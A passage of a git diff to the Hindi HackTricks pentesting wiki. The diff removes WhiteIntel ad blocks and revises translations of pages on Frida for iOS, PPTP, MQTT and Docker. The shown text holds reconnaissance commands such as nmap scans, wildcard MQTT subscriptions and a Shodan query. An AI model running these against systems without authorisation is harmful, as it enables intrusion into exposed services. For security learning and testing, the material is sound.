\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **कार्यप्रवाहों** का निर्माण और **स्वचालित** कर सकें।\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना सकें और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।\ आज ही एक्सेस प्राप्त करें: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 0ff5d39f4..78f7c6693 100644 --- a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -15,20 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - ## Installing Frida **Jailbroken डिवाइस पर Frida स्थापित करने के चरण:** @@ -80,7 +66,7 @@ frida-trace -U -W -m '*[* *]' ``` ### सभी क्लास और मेथड प्राप्त करें -* ऑटो पूर्ण: बस `frida -U ` चलाएँ +* ऑटो कंप्लीट: बस `frida -U ` चलाएँ
@@ -172,7 +158,7 @@ console.log("loaded"); आपके पास Frida Stalker को लागू करने का एक उदाहरण है [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) -यह एक और उदाहरण है कि कैसे हर बार एक फ़ंक्शन कॉल होने पर Frida Stalker को संलग्न किया जाए: +यह एक और उदाहरण है कि कैसे हर बार एक फ़ंक्शन कॉल होने पर Frida Stalker को अटैच किया जाए: ```javascript console.log("loading"); const wg_log_addr = Module.findExportByName("", ""); @@ -324,18 +310,18 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example {% endcode %} {% hint style="danger" %} -इस मामले में हम **हर payload के बाद ऐप को फिर से शुरू नहीं कर रहे हैं या स्थिति को बहाल नहीं कर रहे हैं**। इसलिए, यदि Frida को **crash** मिलता है, तो उस payload के बाद के **अगले इनपुट** भी **ऐप को क्रैश कर सकते हैं** (क्योंकि ऐप अस्थिर स्थिति में है) भले ही **इनपुट को ऐप को क्रैश नहीं करना चाहिए**। +इस मामले में हम **हर payload के बाद ऐप को पुनरारंभ या स्थिति को पुनर्स्थापित नहीं कर रहे हैं**। इसलिए, यदि Frida एक **crash** पाता है, तो उसके बाद के **inputs** भी **ऐप को क्रैश** कर सकते हैं (क्योंकि ऐप एक अस्थिर स्थिति में है) भले ही **input को ऐप को क्रैश नहीं करना चाहिए**। -इसके अलावा, Frida iOS के अपवाद संकेतों में हुक करेगा, इसलिए जब **Frida को एक क्रैश मिलता है**, तो शायद **iOS क्रैश रिपोर्ट उत्पन्न नहीं होगी**। +इसके अलावा, Frida iOS के अपवाद संकेतों में हुक करेगा, इसलिए जब **Frida एक crash पाता है**, तो शायद **iOS crash रिपोर्ट उत्पन्न नहीं होगी**। -इसे रोकने के लिए, उदाहरण के लिए, हम हर Frida क्रैश के बाद ऐप को फिर से शुरू कर सकते हैं। +इसे रोकने के लिए, उदाहरण के लिए, हम हर Frida crash के बाद ऐप को पुनरारंभ कर सकते हैं। {% endhint %} ### Logs & Crashes आप **macOS कंसोल** या **`log`** cli की जांच कर सकते हैं macOS लॉग की जांच करने के लिए।\ आप **`idevicesyslog`** का उपयोग करके iOS से भी लॉग की जांच कर सकते हैं।\ -कुछ लॉग जानकारी को **``** जोड़कर छोड़ देंगे। सभी जानकारी दिखाने के लिए आपको [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) से कुछ प्रोफ़ाइल स्थापित करनी होगी ताकि वह निजी जानकारी सक्षम हो सके। +कुछ लॉग जानकारी को **``** जोड़कर छोड़ देंगे। सभी जानकारी दिखाने के लिए आपको [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) से कुछ प्रोफ़ाइल स्थापित करनी होगी ताकि उस निजी जानकारी को सक्षम किया जा सके। यदि आप नहीं जानते कि क्या करना है: ```sh @@ -374,29 +360,18 @@ iOS केवल एक ही ऐप के 25 क्रैश को स्ट * [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **stealer malwares** द्वारा **compromised** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/network-services-pentesting/1723-pentesting-pptp.md b/network-services-pentesting/1723-pentesting-pptp.md index 7ad33040d..7bbf79c32 100644 --- a/network-services-pentesting/1723-pentesting-pptp.md +++ b/network-services-pentesting/1723-pentesting-pptp.md @@ -15,23 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **संपर्कित** किया गया है **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## Basic Information -**पॉइंट-टू-पॉइंट टनलिंग प्रोटोकॉल (PPTP)** एक विधि है जो **दूरस्थ पहुंच** के लिए मोबाइल उपकरणों के लिए व्यापक रूप से उपयोग की जाती है। यह कुंजी के आदान-प्रदान के लिए **TCP पोर्ट 1723** का उपयोग करता है, जबकि **IP प्रोटोकॉल 47** (जनरल राउटिंग एनकैप्सुलेशन, या **GRE**) का उपयोग उन डेटा को एन्क्रिप्ट करने के लिए किया जाता है जो साथियों के बीच भेजा जाता है। यह सेटअप इंटरनेट पर एक सुरक्षित संचार चैनल स्थापित करने के लिए महत्वपूर्ण है, यह सुनिश्चित करते हुए कि आदान-प्रदान किया गया डेटा गोपनीय और अनधिकृत पहुंच से सुरक्षित रहे। +**पॉइंट-टू-पॉइंट टनलिंग प्रोटोकॉल (PPTP)** एक विधि है जो **मोबाइल उपकरणों** के लिए **दूरस्थ पहुंच** के लिए व्यापक रूप से उपयोग की जाती है। यह **TCP पोर्ट 1723** का उपयोग कुंजी के आदान-प्रदान के लिए करता है, जबकि **IP प्रोटोकॉल 47** (जनरल राउटिंग एनकैप्सुलेशन, या **GRE**) का उपयोग उन डेटा को एन्क्रिप्ट करने के लिए किया जाता है जो साथियों के बीच भेजा जाता है। यह सेटअप इंटरनेट पर एक सुरक्षित संचार चैनल स्थापित करने के लिए महत्वपूर्ण है, यह सुनिश्चित करते हुए कि आदान-प्रदान किया गया डेटा गोपनीय और अनधिकृत पहुंच से सुरक्षित है। **डिफ़ॉल्ट पोर्ट**:1723 @@ -55,8 +42,8 @@ nmap –Pn -sSV -p1723 HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें। {% endhint %} diff --git a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 1379fef36..37e265cbc 100644 --- a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -15,25 +15,12 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मैलवेयर के परिणामस्वरूप होते हैं। - -आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## Basic Information -**MQ Telemetry Transport (MQTT)** को एक **पब्लिश/सब्सक्राइब मैसेजिंग प्रोटोकॉल** के रूप में जाना जाता है जो अपनी अत्यधिक सरलता और हल्केपन के लिए खड़ा है। यह प्रोटोकॉल विशेष रूप से उन वातावरणों के लिए तैयार किया गया है जहां उपकरणों की सीमित क्षमताएँ होती हैं और नेटवर्क पर काम करते हैं जो निम्न बैंडविड्थ, उच्च विलंबता, या अस्थिर कनेक्शनों की विशेषता रखते हैं। MQTT के मुख्य उद्देश्यों में नेटवर्क बैंडविड्थ के उपयोग को न्यूनतम करना और उपकरण संसाधनों पर मांग को कम करना शामिल है। इसके अतिरिक्त, इसका उद्देश्य विश्वसनीय संचार बनाए रखना और एक निश्चित स्तर की डिलीवरी आश्वासन प्रदान करना है। ये लक्ष्य MQTT को **मशीन-से-मशीन (M2M) संचार** और **इंटरनेट ऑफ थिंग्स (IoT)** के उभरते क्षेत्र के लिए अत्यधिक उपयुक्त बनाते हैं, जहां कई उपकरणों को कुशलता से जोड़ना आवश्यक है। इसके अलावा, MQTT मोबाइल अनुप्रयोगों के लिए अत्यधिक लाभकारी है, जहां बैंडविड्थ और बैटरी जीवन को बचाना महत्वपूर्ण है। +**MQ Telemetry Transport (MQTT)** को **publish/subscribe messaging protocol** के रूप में जाना जाता है, जो अपनी अत्यधिक सरलता और हल्केपन के लिए प्रसिद्ध है। यह प्रोटोकॉल विशेष रूप से उन वातावरणों के लिए तैयार किया गया है जहां उपकरणों की सीमित क्षमताएँ होती हैं और नेटवर्क ऐसे होते हैं जो कम बैंडविड्थ, उच्च विलंबता, या अस्थिर कनेक्शनों की विशेषता रखते हैं। MQTT के मुख्य उद्देश्यों में नेटवर्क बैंडविड्थ के उपयोग को न्यूनतम करना और उपकरण संसाधनों पर मांग को कम करना शामिल है। इसके अतिरिक्त, इसका उद्देश्य विश्वसनीय संचार बनाए रखना और एक निश्चित स्तर की डिलीवरी आश्वासन प्रदान करना है। ये लक्ष्य MQTT को **machine-to-machine (M2M) communication** और **Internet of Things (IoT)** के उभरते क्षेत्र के लिए विशेष रूप से उपयुक्त बनाते हैं, जहां कई उपकरणों को कुशलता से जोड़ना आवश्यक है। इसके अलावा, MQTT मोबाइल अनुप्रयोगों के लिए अत्यधिक लाभकारी है, जहां बैंडविड्थ और बैटरी जीवन को बचाना महत्वपूर्ण है। -**डिफ़ॉल्ट पोर्ट:** 1883 +**Default port:** 1883 ``` PORT STATE SERVICE REASON 1883/tcp open mosquitto version 1.4.8 syn-ack @@ -63,9 +50,9 @@ MQTT सेवा से कनेक्ट करने के लिए आप > subscribe "#" 1 > subscribe "$SYS/#" ``` -आप [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn) का भी उपयोग कर सकते हैं +आप [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn) का भी उपयोग कर सकते हैं। -आप भी उपयोग कर सकते हैं: +आप इसका भी उपयोग कर सकते हैं: ```bash apt-get install mosquitto mosquitto-clients mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic' @@ -109,19 +96,19 @@ main() प्रकाशित/सदस्यता मॉडल में शामिल हैं: * **प्रकाशक**: ब्रोकर में एक (या कई) विषयों पर एक संदेश प्रकाशित करता है। -* **सदस्य**: ब्रोकर में एक (या कई) विषयों की सदस्यता लेता है और प्रकाशक द्वारा भेजे गए सभी संदेश प्राप्त करता है। +* **सदस्य**: ब्रोकर में एक (या कई) विषयों की सदस्यता लेता है और प्रकाशक से भेजे गए सभी संदेश प्राप्त करता है। * **ब्रोकर**: प्रकाशकों से सदस्यों तक सभी संदेशों को रूट करता है। * **विषय**: एक या अधिक स्तरों से बना होता है जो एक फॉरवर्ड स्लैश द्वारा अलग होते हैं (जैसे, /smartshouse/livingroom/temperature)। ### पैकेट प्रारूप -हर MQTT पैकेट में एक निश्चित हेडर होता है (चित्र 02)।चित्र 02: निश्चित हेडर +हर MQTT पैकेट में एक निश्चित हेडर होता है (चित्र 02)। चित्र 02: निश्चित हेडर ![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png) ### पैकेट प्रकार -* CONNECT (1): क्लाइंट द्वारा सर्वर से कनेक्शन का अनुरोध करने के लिए प्रारंभ किया गया। +* CONNECT (1): सर्वर से कनेक्शन का अनुरोध करने के लिए क्लाइंट द्वारा आरंभ किया गया। * CONNACK (2): सफल कनेक्शन की सर्वर की स्वीकृति। * PUBLISH (3): क्लाइंट से सर्वर या इसके विपरीत संदेश भेजने के लिए उपयोग किया जाता है। * PUBACK (4): PUBLISH पैकेट की स्वीकृति। @@ -134,24 +121,13 @@ main() * UNSUBACK (11): UNSUBSCRIBE अनुरोध का सर्वर का उत्तर। * PINGREQ (12): क्लाइंट द्वारा भेजा गया एक हार्टबीट संदेश। * PINGRESP (13): हार्टबीट संदेश का सर्वर का उत्तर। -* DISCONNECT (14): कनेक्शन समाप्त करने के लिए क्लाइंट द्वारा प्रारंभ किया गया। +* DISCONNECT (14): कनेक्शन समाप्त करने के लिए क्लाइंट द्वारा आरंभ किया गया। * दो मान, 0 और 15, आरक्षित के रूप में चिह्नित हैं और उनका उपयोग निषिद्ध है। -## शोडान +## शोडन * `port:1883 MQTT` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** संचालित खोज इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएं प्रदान करता है कि क्या कोई कंपनी या इसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -162,7 +138,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।** +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। diff --git a/network-services-pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md index 407c93264..855d40d47 100644 --- a/network-services-pentesting/2375-pentesting-docker.md +++ b/network-services-pentesting/2375-pentesting-docker.md @@ -15,30 +15,17 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या इसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैंसमवेयर हमलों से लड़ना है जो जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप होते हैं। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ### Docker Basics #### What is -Docker **कंटेनराइजेशन उद्योग** में **सामने का प्लेटफार्म** है, जो **निरंतर नवाचार** का नेतृत्व कर रहा है। यह अनुप्रयोगों के निर्माण और वितरण को आसान बनाता है, **पारंपरिक से लेकर भविष्यवादी** तक, और विभिन्न वातावरणों में उनके **सुरक्षित तैनाती** की सुनिश्चितता करता है। +Docker **कंटेनराइजेशन उद्योग** में **अग्रणी प्लेटफॉर्म** है, जो **निरंतर नवाचार** का नेतृत्व करता है। यह **पारंपरिक से लेकर भविष्यवादी** अनुप्रयोगों के निर्माण और वितरण को सरल बनाता है, और विभिन्न वातावरणों में उनके **सुरक्षित तैनाती** की सुनिश्चितता करता है। #### Basic docker architecture -* [**containerd**](http://containerd.io): यह कंटेनरों के लिए एक **मुख्य रनटाइम** है, जो एक कंटेनर के जीवनचक्र के व्यापक **प्रबंधन** का कार्य करता है। इसमें **छवि स्थानांतरण और भंडारण** को संभालना शामिल है, इसके अलावा कंटेनरों के **निष्पादन, निगरानी, और नेटवर्किंग** की देखरेख करना भी शामिल है। कंटेनरड पर **अधिक विस्तृत जानकारी** **आगे खोजी गई** है। -* **container-shim** **हेडलैस कंटेनरों** के प्रबंधन में एक **मध्यस्थ** के रूप में महत्वपूर्ण भूमिका निभाता है, जो कंटेनरों के आरंभ होने के बाद **runc** से सहजता से कार्यभार संभालता है। +* [**containerd**](http://containerd.io): यह कंटेनरों के लिए एक **मुख्य रनटाइम** है, जो एक कंटेनर के जीवनचक्र का व्यापक **प्रबंधन** करता है। इसमें **छवि स्थानांतरण और भंडारण** के साथ-साथ कंटेनरों के **निष्पादन, निगरानी, और नेटवर्किंग** का प्रबंधन शामिल है। कंटेनरड पर **अधिक विस्तृत जानकारी** **आगे खोजी गई है**। +* **container-shim** **हेडलैस कंटेनरों** के प्रबंधन में एक महत्वपूर्ण भूमिका निभाता है, जो कंटेनरों के प्रारंभ होने के बाद **runc** से सहजता से कार्यभार संभालता है। * [**runc**](http://runc.io): इसके **हल्के और सार्वभौमिक कंटेनर रनटाइम** क्षमताओं के लिए प्रसिद्ध, runc **OCI मानक** के साथ संरेखित है। इसका उपयोग कंटेनरड द्वारा **कंटेनरों को प्रारंभ और प्रबंधित करने** के लिए **OCI दिशानिर्देशों** के अनुसार किया जाता है, जो मूल **libcontainer** से विकसित हुआ है। * [**grpc**](http://www.grpc.io) **containerd** और **docker-engine** के बीच **संचार को सुविधाजनक** बनाने के लिए आवश्यक है, जो **कुशल इंटरैक्शन** सुनिश्चित करता है। * [**OCI**](https://www.opencontainers.org) **रनटाइम और छवियों** के लिए **OCI विनिर्देशों** को बनाए रखने में महत्वपूर्ण है, नवीनतम Docker संस्करण **OCI छवि और रनटाइम** मानकों के साथ **अनुरूप** हैं। @@ -68,11 +55,11 @@ docker system prune -a ``` #### Containerd -**Containerd** विशेष रूप से **Docker और Kubernetes** जैसे कंटेनर प्लेटफार्मों की आवश्यकताओं को पूरा करने के लिए विकसित किया गया था। इसका उद्देश्य विभिन्न ऑपरेटिंग सिस्टम, जैसे Linux, Windows, Solaris, और अधिक में कंटेनरों के निष्पादन को **सरल बनाना** है, ऑपरेटिंग सिस्टम-विशिष्ट कार्यक्षमता और सिस्टम कॉल को अमूर्त करके। Containerd का लक्ष्य केवल उन आवश्यक सुविधाओं को शामिल करना है जो इसके उपयोगकर्ताओं द्वारा आवश्यक हैं, अनावश्यक घटकों को छोड़ने का प्रयास करते हुए। हालांकि, इस लक्ष्य को पूरी तरह से प्राप्त करना चुनौतीपूर्ण माना जाता है। +**Containerd** विशेष रूप से **Docker और Kubernetes** जैसे कंटेनर प्लेटफार्मों की आवश्यकताओं को पूरा करने के लिए विकसित किया गया था। इसका उद्देश्य विभिन्न ऑपरेटिंग सिस्टम, जैसे Linux, Windows, Solaris, और अधिक में कंटेनरों के निष्पादन को **सरल बनाना** है, ऑपरेटिंग सिस्टम-विशिष्ट कार्यक्षमता और सिस्टम कॉल को अमूर्त करके। Containerd का लक्ष्य केवल उन आवश्यक सुविधाओं को शामिल करना है जो इसके उपयोगकर्ताओं द्वारा आवश्यक हैं, अनावश्यक घटकों को छोड़ने का प्रयास करते हुए। हालाँकि, इस लक्ष्य को पूरी तरह से प्राप्त करना चुनौतीपूर्ण माना जाता है। एक प्रमुख डिज़ाइन निर्णय यह है कि **Containerd नेटवर्किंग को संभालता नहीं है**। नेटवर्किंग को वितरित प्रणालियों में एक महत्वपूर्ण तत्व माना जाता है, जिसमें सॉफ़्टवेयर परिभाषित नेटवर्किंग (SDN) और सेवा खोज जैसी जटिलताएँ शामिल हैं जो एक प्लेटफ़ॉर्म से दूसरे प्लेटफ़ॉर्म में काफी भिन्न होती हैं। इसलिए, Containerd नेटवर्किंग पहलुओं को उन प्लेटफार्मों द्वारा प्रबंधित करने के लिए छोड़ देता है जिनका वह समर्थन करता है। -जबकि **Docker Containerd का उपयोग करता है** कंटेनरों को चलाने के लिए, यह ध्यान रखना महत्वपूर्ण है कि Containerd केवल Docker की कार्यक्षमताओं के एक उपसमुच्चय का समर्थन करता है। विशेष रूप से, Containerd में Docker में मौजूद नेटवर्क प्रबंधन क्षमताओं की कमी है और यह सीधे Docker स्वार्म बनाने का समर्थन नहीं करता है। यह भेद Containerd की एक कंटेनर रनटाइम वातावरण के रूप में केंद्रित भूमिका को उजागर करता है, जो इसके साथ एकीकृत प्लेटफार्मों को अधिक विशेषीकृत कार्यक्षमताएँ सौंपता है। +जबकि **Docker कंटेनरों को चलाने के लिए Containerd का उपयोग करता है**, यह ध्यान रखना महत्वपूर्ण है कि Containerd केवल Docker की कार्यक्षमताओं के एक उपसमुच्चय का समर्थन करता है। विशेष रूप से, Containerd में Docker में मौजूद नेटवर्क प्रबंधन क्षमताओं की कमी है और यह सीधे Docker स्वार्म बनाने का समर्थन नहीं करता है। यह भेद Containerd की एक कंटेनर रनटाइम वातावरण के रूप में केंद्रित भूमिका को उजागर करता है, जो इसके साथ एकीकृत प्लेटफार्मों को अधिक विशेषीकृत कार्यक्षमताएँ सौंपता है। ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image @@ -92,18 +79,18 @@ ctr container delete **Podman** एक ओपन-सोर्स कंटेनर इंजन है जो [Open Container Initiative (OCI) मानकों](https://github.com/opencontainers) का पालन करता है, जिसे Red Hat द्वारा विकसित और बनाए रखा गया है। यह **daemonless architecture** और **rootless containers** के समर्थन के साथ Docker से कई विशिष्ट विशेषताओं के साथ अलग है, जिससे उपयोगकर्ता बिना रूट विशेषाधिकार के कंटेनर चला सकते हैं। -Podman को Docker के API के साथ संगत बनाने के लिए डिज़ाइन किया गया है, जिससे Docker CLI कमांड का उपयोग करना संभव होता है। यह संगतता इसके पारिस्थितिकी तंत्र तक फैली हुई है, जिसमें **Buildah** जैसे उपकरण शामिल हैं जो कंटेनर छवियों को बनाने के लिए और **Skopeo** छवि संचालन जैसे पुश, पुल और निरीक्षण के लिए हैं। इन उपकरणों के बारे में अधिक जानकारी उनके [GitHub पृष्ठ](https://github.com/containers/buildah/tree/master/docs/containertools) पर मिल सकती है। +Podman को Docker के API के साथ संगत बनाने के लिए डिज़ाइन किया गया है, जिससे Docker CLI कमांड का उपयोग करना संभव हो जाता है। यह संगतता इसके पारिस्थितिकी तंत्र तक फैली हुई है, जिसमें **Buildah** जैसे उपकरण शामिल हैं जो कंटेनर छवियों को बनाने के लिए और **Skopeo** छवि संचालन जैसे पुश, पुल और निरीक्षण के लिए हैं। इन उपकरणों के बारे में अधिक जानकारी उनके [GitHub पृष्ठ](https://github.com/containers/buildah/tree/master/docs/containertools) पर मिल सकती है। **मुख्य अंतर** -* **Architecture**: Docker के क्लाइंट-सर्वर मॉडल के विपरीत जिसमें एक बैकग्राउंड डेमन होता है, Podman बिना डेमन के काम करता है। इस डिज़ाइन का अर्थ है कि कंटेनर उन उपयोगकर्ता के विशेषाधिकारों के साथ चलते हैं जो उन्हें शुरू करते हैं, जिससे रूट एक्सेस की आवश्यकता को समाप्त करके सुरक्षा बढ़ती है। -* **Systemd Integration**: Podman **systemd** के साथ कंटेनरों का प्रबंधन करने के लिए एकीकृत होता है, जिससे systemd इकाइयों के माध्यम से कंटेनर प्रबंधन संभव होता है। यह Docker के उपयोग के विपरीत है, जो मुख्य रूप से Docker डेमन प्रक्रिया के प्रबंधन के लिए systemd का उपयोग करता है। +* **आर्किटेक्चर**: Docker के क्लाइंट-सर्वर मॉडल के विपरीत जिसमें एक बैकग्राउंड डेमन होता है, Podman बिना डेमन के काम करता है। इस डिज़ाइन का अर्थ है कि कंटेनर उन विशेषाधिकारों के साथ चलते हैं जो उपयोगकर्ता ने शुरू किए हैं, जिससे रूट एक्सेस की आवश्यकता को समाप्त करके सुरक्षा बढ़ती है। +* **Systemd एकीकरण**: Podman कंटेनरों को प्रबंधित करने के लिए **systemd** के साथ एकीकृत होता है, जिससे systemd इकाइयों के माध्यम से कंटेनर प्रबंधन संभव होता है। यह Docker के उपयोग के विपरीत है, जो मुख्य रूप से Docker डेमन प्रक्रिया को प्रबंधित करने के लिए systemd का उपयोग करता है। * **Rootless Containers**: Podman की एक महत्वपूर्ण विशेषता यह है कि यह प्रारंभ करने वाले उपयोगकर्ता के विशेषाधिकारों के तहत कंटेनर चलाने की क्षमता रखता है। यह 